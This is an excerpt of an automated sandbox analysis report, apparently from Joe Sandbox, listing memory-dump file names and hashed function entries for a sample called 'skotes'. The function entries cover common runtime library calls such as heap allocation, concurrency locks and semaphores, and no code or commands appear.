Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"a$`'a
API String ID: 3903695350-1864490601
Opcode ID: 1661bcdbba746240db52802170198ab8588be1308c4a9a0ef93f1eeacda4ea78
Instruction ID: 8001532daff06d5163ce16449d8ea312a32b74956710e9405f7808ef10635d7f
Opcode Fuzzy Hash: 1661bcdbba746240db52802170198ab8588be1308c4a9a0ef93f1eeacda4ea78
Instruction Fuzzy Hash: 3F315A31600782DFEB29AA3ADD49B5B7BE8FF84352F144829E0C5D7595DE70AC808B21

Function 005EF1BF Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 005EF232
__freea.LIBCMT ref: 005EF298

Part of subcall function 005EB04B: RtlAllocateHeap.NTDLL(00000000,581F31DB,?,?,005CD3FC,581F31DB,?,005C7A8B,?,?,?,?,?,?,005B7465,?), ref: 005EB07D

Strings

Z^,m^, xrefs: 005EF1D2

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap__alloca_probe_16__freea
String ID: Z^,m^
API String ID: 809856575-300033424
Opcode ID: 52cb7b8fddf70ce2cb6b0e13239cbdb6b125b0c792c9a4fbefec86f3fe0da438
Instruction ID: edb500663dad976bc95a6fb2542e2d5e1e163f7f7449f2607e561fda5025918b
Opcode Fuzzy Hash: 52cb7b8fddf70ce2cb6b0e13239cbdb6b125b0c792c9a4fbefec86f3fe0da438
Instruction Fuzzy Hash: C331E47590028AABDF289F66CC45EAF7FA5FF84310F054128F994AB151DB309D51C7A0

Function 005E1704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 005E1764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 005E17AF

Strings

pContext, xrefs: 005E17A7

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 135d35cec370585930ef3590d74e0b6aeecf12f78cc96af87d1cd85dc04ad641
Instruction ID: f277a3572f04e1f367ddfbfe91b068e7ca3047ef97ec6719632141f615a85ff5
Opcode Fuzzy Hash: 135d35cec370585930ef3590d74e0b6aeecf12f78cc96af87d1cd85dc04ad641
Instruction Fuzzy Hash: EA110635A006549BCF1DEF19C88896D7BA6FFC4760B054469EC92AB382DB74ED01CBD4

Function 005D0C5C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_NonReentrantLock::_Acquire.LIBCONCRT ref: 005D0CD7
Concurrency::details::ResourceManager::ResourceManager.LIBCONCRT ref: 005D0D2A

Strings

p[a, xrefs: 005D0CCF

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$AcquireConcurrency::details::Concurrency::details::_Lock::_ManagerManager::Reentrant
String ID: p[a
API String ID: 3303180142-3360318483
Opcode ID: 1a32754971905a267fce04a3198487225e204391644daff1e029e5adefa27ea6
Instruction ID: 1eadf0045094f1c3749245fdbf90aa19a26e92059e2b2b54f7f3287a422adcb6
Opcode Fuzzy Hash: 1a32754971905a267fce04a3198487225e204391644daff1e029e5adefa27ea6
Instruction Fuzzy Hash: 08019224909606DEDB20EBFC656976DAEE1BB84350F64546FE405EB3C2CA708E408766

Function 005CCAD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

CreateSemaphoreExW.KERNEL32(?,005D65E3,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 005CCAFC
CreateSemaphoreW.KERNEL32(?,005D65E3,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 005CCB1E

Strings

e], xrefs: 005CCB12, 005CCAF0

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
